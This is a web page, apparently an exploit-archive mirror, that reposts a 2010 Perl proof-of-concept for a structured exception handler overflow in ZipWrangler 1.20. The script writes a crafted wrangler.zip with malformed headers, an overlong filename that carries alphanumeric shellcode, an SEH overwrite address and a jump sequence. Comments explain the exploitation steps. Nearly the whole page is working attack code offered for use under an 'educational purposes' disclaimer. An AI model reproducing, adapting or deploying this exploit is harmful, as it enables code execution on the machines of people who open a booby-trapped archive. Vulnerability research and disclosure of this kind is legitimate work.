Home / os / win7

ZipWrangler 1.20 (.zip) SEH 0day exploit

Posted on 24 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>ZipWrangler 1.20 (.zip) SEH 0day exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================== ZipWrangler 1.20 (.zip) SEH 0day exploit ======================================== #!/usr/bin/perl # Title: ZipWrangler 1.20 (.zip) SEH 0day exploit # Author: TecR0c &amp; Sud0 # Date: April 24th, 2010 # Corelan Reference: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-031 # Download: http://www.softpedia.com/get/Compression-tools/ZipWrangler.shtml # Platform: Windows XP sp3 En (VMWARE) # Greetz to: Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # Corelan does not want anyone to use this script # for malicious and/or illegal purposes. # Corelan cannot be held responsible for any illegal use. # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. print &quot;|-------------------------------------------------------------------| &quot;; print &quot;| __ __ | &quot;; print &quot;| _________ ________ / /___ _____ / /____ ____ _____ ___ | &quot;; print &quot;| / ___/ __ / ___/ _ / / __ `/ __ / __/ _ / __ `/ __ `__ | &quot;; print &quot;| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / | &quot;; print &quot;| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ | &quot;; print &quot;| | &quot;; print &quot;| http://www.corelan.be:8800 | &quot;; print &quot;| security@corelan.be | &quot;; print &quot;| | &quot;; print &quot;|-------------------------------------------------[ EIP Hunters ]---| &quot;; print &quot; [+] ZipWrangler 1.2 (.zip) SEH exploit &quot;; my $ldf_header = &quot;x50x4Bx03x04&quot;. # local signature &quot;x14x00&quot;. # version minimum needed to extract &quot;x00x00&quot;. #general purpose bit flag &quot;x00x00&quot;. #compression method &quot;xB7xAC&quot;. #file last modification time &quot;xCEx34&quot;. # file last modification date &quot;x00x00x00x00&quot;. #CRC32 &quot;x00x00x00x00&quot;. #Compressed size &quot;x00x00x00x00&quot; . #Uncompressed Size &quot;x48x10&quot; .# filename length E4 0F &quot;x00x00&quot;; #Extra filed length my $cdf_header = &quot;x50x4Bx01x02&quot;. #Signature &quot;x14x00&quot;.#version made by &quot;x14x00&quot;.#version needed to extract &quot;x00x00&quot;.#general purpose bit flag &quot;x00x00&quot;.#Compression method &quot;xB7xAC&quot;.#File last modification time &quot;xCEx34&quot;.#File last modification date &quot;x00x00x00x00&quot;. #CRC32 &quot;x00x00x00x00&quot;.#Compressed Size &quot;x00x00x00x00&quot;.#Uncompressed Size# &quot;x48x10&quot;. # filename length &quot;x00x00&quot;. #Extra Field Length &quot;x00x00&quot;. #File comment length &quot;x00x00&quot;. #Disk number where File starts &quot;x01x00&quot;. #Internal File Attributes &quot;x24x00x00x00&quot;. #External File Attributes &quot;x00x00x00x00&quot;; #Relative offset of local file header; my $eofcdf_header = &quot;x50x4Bx05x06&quot;. #End of central Directory Signature &quot;x00x00&quot;. #Number of this disk &quot;x00x00&quot;. #Disk where central directory starts &quot;x01x00&quot;. #Number of central directory records on this Disk &quot;x01x00&quot;. #Total Number of central directory records &quot;x76x10x00x00&quot;. #Size of central directory (bytes) (central directory header size + payload) &quot;x66x10x00x00&quot;. # Offset of start of central directory, relative to start archive (lfh + payload) &quot;x00x00&quot;; #Zip file Comment length; # mov edx, ds :[EAX] ---&gt; the address 0x7FFDFD0C = 00000 in DS # so EDX=0000, next instruction TEST EDX,EDX / Jz xxxxxx (will bypass the error due to mov ECX, ds:[edx]) # the jump will take us to a retn (so we are out from handler routine) --&gt; come back to execution # 0x77E9025B [rpcrt4.dll] will overwrite EIP after being back from exception # bingo , after xEBx06 we are in our xcc # shell = message box eax e my $shell=&quot;PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8&quot; . &quot;ABuJIn9JKmK9IT4tdl4tqzrmbpzUaIYcTNkpqfPlKD66lNkpvwlLKsvgx&quot; . &quot;lKsNepNkEf4xpO4XPul3qIs1KaKOKQapLK2LgT14lKsuUlNkpTgurX6aZ&quot; . &quot;JLK1ZwhLKCjepUQzKm3p7W9LKp4nkwqzNp1kOvQKpKLLlmTo0BTTJZahO4&quot; . &quot;MuQKwxihqKOKOIoWKQlQ4Ux2UyNNkcjq4uQJKsVNk6lpKnkrzuL5QXkLKV&quot; . &quot;dNkWqM8K9qT5tglE1XC82C8EyYDNi8eMY9RCXlNpN4NhlbryxMLKOKOKOl&quot; . &quot;IqUfdOKQnN8YrPsMW7lddV2KXlKIoyoKOoycueXQxplPlEpkO3XP3VRfNu&quot; . &quot;4qxpupscUcBK8qLutWzOyIvpVyoaEETMYO2pPMkoXY22mOLOwwlWTf2kXa&quot; . &quot;NKOYokOSXPlpapnV83XQsbOT255P1kkoxaLQ4TGniKSBHQtShWPUpax0op&quot; . &quot;iCD55PhpeqhRPbLUaJiNh2lEteYOykQdqKbSbQCv12rKOXP6QO0pPKOSeV&quot; . &quot;h5ZA&quot;; my $shellcode=&quot;A&quot; x 2 . $shell . &quot;A&quot; x (4080-2-length($shell)) . &quot;x0CxFDxFDx7F&quot; . &quot;x90&quot; x 4 . &quot;x5bx02xe9x77&quot; . &quot;x90&quot; x 8 . &quot;x83xC0x16xFFxE0&quot;.&quot;xcc&quot; x 59; my $filename=&quot;wrangler.zip&quot;; my $payload = $shellcode . &quot;.txt&quot;; print &quot;Size : &quot; . length($payload).&quot; &quot;; print &quot;Removing old $filename file &quot;; system(&quot;del $filename&quot;); print &quot;Creating new $filename file &quot;; open(FILE, &quot;&gt;$filename&quot;); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE); # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP